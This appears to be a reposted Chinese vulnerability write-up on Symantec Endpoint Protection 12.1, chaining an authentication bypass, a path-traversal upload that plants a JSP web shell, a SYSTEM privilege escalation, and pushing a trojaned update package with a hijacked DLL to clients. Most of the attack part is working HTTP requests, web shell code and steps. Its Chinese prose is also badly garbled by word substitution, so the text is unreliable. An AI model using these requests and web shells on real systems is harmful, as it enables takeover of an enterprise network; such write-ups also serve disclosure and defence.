|
|
|
联系客服020-83701501

利用赛门铁克漏洞渗透整个企业网络

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
操纵赛门铁克裂痕渗透整个企业网络

1.引言

赛门铁克端点维护Symantec Endpoint Protection (SEP) 12.1的具备数个高危裂痕!一旦攻击者拿下了办理端,获患了办理员的权限,那么他便梗概重新安排安顿升级包,把木马藏进安顿包,推送至客户端实行,从而拿下整个企业网络。目前只需升级到12.1 RU6 MP1的版本不被影响。

容易介绍一下,SEP 是一个企业版的杀毒产品,分为办理端和客户端。办理端是供应网站 UI,答允办理员办理和察看客户端的形状和客户端的病毒感染事变等等。而客户端底子上就是一个泛泛的赛门铁克杀毒软件,但是承受办理端的办理并且准时上报 大家的形状。值得一提的是,办理员还梗概在办理端安排安顿升级包,以便客户端颠末办理端来中止升级。

本文重点介绍这几个裂痕和操纵方法:攻击者最终梗概在办理端和局部客户端获得?‘NT Authority\SYSTEM’?的权限。

2.攻击SEP办理端

攻击以SEP办理端的登岸页面为突破口,因为登岸页面是流露在最外层的接口。

2.1 CVE-2015-1486:?绕过SEP办理端登岸认证

当用户认证当前,setAdminCredential()把用户动静具备与当前session关连的AdminCredential东西中。而阅 读源代码后发现,setAdminCredential()在两个地方被调用,一个在LoginHandler类里面,一个在 ResetPasswordHandler类里面。神奇的是,setAdminCredential()为甚么会在 ResetPasswordHandler类里面被调用呢?看起来很可疑,这个值得咱们研究一下。从称说上看,ResetPasswordHandler 类用来措置惩罚口令重置,个中handleRequest()方法的代码如下

Default
1234567891011121314151617181920212223242526272829303132333435363738394041 /*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)/*     */   {/*  72 */     this.requestData = requestData;/*  73 */     String userName = (String)requestData.get("UserID");/*  74 */     String domainName = (String)requestData.get("Domain");/*     *//*  76 */     NodeList list = doc.getElementsByTagName("Response");/*  77 */     Element root = (Element)list.item(0);/*     */     try/*     */     {/*  80 */       if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) {/*  81 */         throw new ServerException(-2130182144, 186);/*     */       }/*     *//*  84 */       checkIfSiteCanRecoverPasswords();/*  85 */       init();/*     *//*  87 */       if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) {/*  88 */         ServerLogger.log(Level.INFO, "Problem with Mail server Configuration");/*  89 */         throw new ServerException(-2130182144, 179);/*     */       }/*     *//*  92 */       AdminCredential credential = getCredential(requestData, session);/*     *//*  94 */       if ((credential != null) && (credential.getAdminID() != null)) {/*  95 */         Integer mode = credential.getOptAuthenticationMethod();/*  96 */         if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) {/*  97 */           ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password.");/*     *//* 100 */           throw new ServerException(-2130182144, 191);/*     */         }/*     *//*     */       }/*     *//* 106-137 skipped *//*     *//*     */     }/*     */     catch (ServerException e) {/* 142 */       root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId()));/*     */     }/*     */   }

92行调用了getCredential()方法,用以存入AdminCredential东西。AdminCredential东西包罗用户的动静,譬喻用户名,邮箱所在,口令hash值等等。如下是getCredential()的代码

Default
1234567 /*     */   protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException/*     */   {/* 367 */     session = session.getNewSession();/* 368 */     AdminCredential credential = doGetAdminCredentialWithoutAuthentication();/* 369 */     session.setAdminCredential(credential);/* 370 */     return credential;/*     */   }

367行创设了一个新的session,也就发生了一个新的JsessionID cookie。有意思的是第368行,用doGetAdminCredentialWithoutAuthentication()无需任何认证就依照用户输出的用户名和域名获患了一个AdminCredential东西。

开首,在369行,这个AdminCredential东西和新创设的session关联起来。使得该session成为了一个拥有SEP办理员权限的session.也就是说,发出一个口令重设乞求,你就获患了一个拥有SEP办理员权限的session.

发一个POST乞求考证一下

Default
12345 POST /servlet/ConsoleServlet HTTP/1.1Host: 192.168.40.133:8443Content-Type: application/x-www-form-urlencodedContent-Length: 45ActionType=ResetPassword&UserID=admin&Domain=

获得

Default
123456789101112131415 HTTP/1.1 200 OKSet-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnlyX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Type: text/xml;charset=UTF-8Date: Tue, 30 Jun 2015 11:19:30 GMTServer: SEPMContent-Length: 971 <?xml version="1.0" encoding="UTF-8" standalone="no"?><Response ResponseCode="-2130181964">  <ReportingElement>&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?&gt;&#13;&lt;ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/&gt;&#13;</ReportingElement></Response>

这个HTTP响应包罗了一个JSESSIONID cookie,用于关联新创设的办理员session。把稳,固然有办理员权限,但是由于某些限定,这个session照样无法用于间接登岸办理端。但是测试发现攻击者梗概用这个session哄骗别的网站 API,譬喻,创设一个新的办理员账号。从而攻击者梗概用这个新创设的账号登岸办理端。并且这个session还梗概持续用于下一个裂痕。

2.2 CVE-2015-1487: 方便文件写入

UploadPackage答允办理员把客户端的安顿包上传到办理端,以便客户端升级关心。 但是这里有一个方便文件写入的裂痕,看源代码

Default
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374 /*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)/*     */   {/*  54 */     NodeList list = doc.getElementsByTagName("Response");/*  55 */     Element root = (Element)list.item(0);/*  56 */     String action = (String)requestData.get("Action");/*  57 */     String id = (String)requestData.get("GUID");/*  58 */     String fileType = (String)requestData.get("FILE_TYPE");/*  59 */     String newId = (String)requestData.get("NEW_GUID");/*     *//*  60-187 skipped *//*     *//* 189 */       if (action.equalsIgnoreCase("UploadPackage")) {/* 190 */         String fileName = (String)requestData.get("PackageFile");/* 191 */         String dirName = (String)requestData.get("KnownHosts");/*     */        /* 193 */         this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH);/*     */        /*     *//* 196 */         if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("\\"))) {/* 197 */           this.packageTempPath = (this.packageTempPath + File.separator + dirName);/*     */         }/* 199 */         String path = this.packageTempPath + File.separator + fileName;/* 200 */         FileOutputStream fos = null;/* 201 */         BufferedOutputStream bos = null;/* 202 */         Object is = null;/* 203 */         BufferedInputStream bis = null;/*     */        /* 205 */         File folder = new File(this.packageTempPath);/* 206 */         if (!folder.exists()) {/* 207 */           if (!folder.mkdirs()) {/* 208 */             root.setAttribute("ResponseCode", String.valueOf(303169573));/*     */           }/*     */         }/*     */         else {/*     */           try/*     */           {/* 214 */             Utility.emptyDir(folder.getCanonicalPath(), false);/*     */           } catch (IOException e) {/* 216 */             ServerLogger.log(this, e);/* 217 */             root.setAttribute("ResponseCode", String.valueOf(303169573));/*     */            /* 219 */             return;/*     */           }/*     */         }/*     */        /* 223 */         byte[] buf = new byte[1024];/* 224 */         int read = 0;/*     */         try/*     */         {/* 227 */           is = new BufferedInputStream(requestData.getInputStream());/* 228 */           fos = new FileOutputStream(path);/* 229 */           bos = new BufferedOutputStream(fos);/* 230 */           bis = new BufferedInputStream((InputStream)is);/* 231 */           while ((read = bis.read(buf)) > 0) {/* 232 */             bos.write(buf, 0, read);/*     */           }/* 234 */           bos.flush();/* 235 */           root.setAttribute("ResponseCode", String.valueOf(0));/*     */         } catch (IOException ex) {/* 237 */           ServerLogger.log(this, ex);/* 238 */           root.setAttribute("ResponseCode", String.valueOf(303169573));/*     */         }/*     */         finally/*     */         {/* 242 */           IOUtilities.closeInputStream((InputStream)is);/* 243 */           IOUtilities.closeInputStream(bis);/* 244 */           IOUtilities.closeOutputStream(fos);/* 245 */           IOUtilities.closeOutputStream(bos);/*     */         }/*     */        /* 247-328 skipped *//*     */        /*     */       }/*     */   }

 

把稳189行到191行,上传文件时,文件名和文件目的途径划分取值于PackageFile和KnownHosts属性。

196行,这里有个查抄,目的途径禁止包罗’/’ and ’\\’,痛惜的是,查抄过当前,199行又把文件名和目的途径拆卸在了一起。那么,如果咱们把目的途径写在文件名里面,便梗概绕过查抄。

Default
12345678 POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/网站apps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1Host: 192.168.40.133:8443Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40Content-Length: 124 <%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next()%>

何等,咱们便梗概获得一个?‘NT Service\semsrv’的权限的cmd.

2.3 CVE-2015-1489: SEP办理端主机提权

在 SEP办理端, 有一个名为SemLaunchSvc.exe的办事。该办事有’NT Authority\SYSTEM’权限,用来措置惩罚一些需要高权限的操纵,譬喻及时升级等。这个办事监听本地8447端口与办理端挨次通信。而办理端用一 个名为SemLaunchService的类来实现和SemLaunchSvc.exe通信。该类支持CommonCMD,梗概翻开一个cmd。

既然咱们已经梗概上传并实行方便java代码,那么咱们梗概进一法式用SemLaunchService中的CommonCMD, 从而得

Default
1234567 <%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%><%try {              out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd"))));       } catch (Exception e) {       }%>

3. 攻击SEP客户端

3.1 CVE-2015-1492:SEP 客户端二进制植入

一旦有了办理端的权限,攻击者便梗概在办理端减少一个批改过的客户端升级安顿包,然后颠末办理端把装作的安顿包推送到客户端上并实行。虽然这里还要用到一个DLL劫持裂痕。这个裂痕劫持或许变换畸形的DLL,欺骗畸形挨次加载攻击者过后操办好的恶意DLL。

安顿升级SEP客户端的时刻,SEP客户端ccSvcHst.exe起首会翻开安顿包,在里面 找到一个名为smcinst.exe的挨次,并且提议之,而smcinst.exe会调用一些系统DLL, 譬喻说UxTheme.dll。这里很梗概smcinst.exe哄骗了相对途径来调入DLL, 并且没有查抄DLL的签名。何等攻击者只需在安顿包里参加一个捏造的UxTheme.dll便梗概啦!由于LoadLibrary的特性,同在安顿包下的 这个捏造的UxTheme.dll会优先被调入。而一旦被调入,这个捏造的UxTheme.dll梗概拥有NT Authority\SYSTEM权限。

那怎么把捏造的dll文件加到安顿包里面,并推送到客户端呢?

Default
1234 1. 在SEP办理端导出安顿包2. 批改该安顿包的版本为更高版本,譬喻12.2.0000,把操办好的恶意UxTheme.dll文件拷入安顿包3. 在SEP办理端导入安顿包并批改升级选项。4. 总结

办理端的维护是众中之重,一旦办理端被突破,客户端则难保,从而整个企业网络消亡。

[via@freebuf–nickchang]

数安新闻+更多

证书相关+更多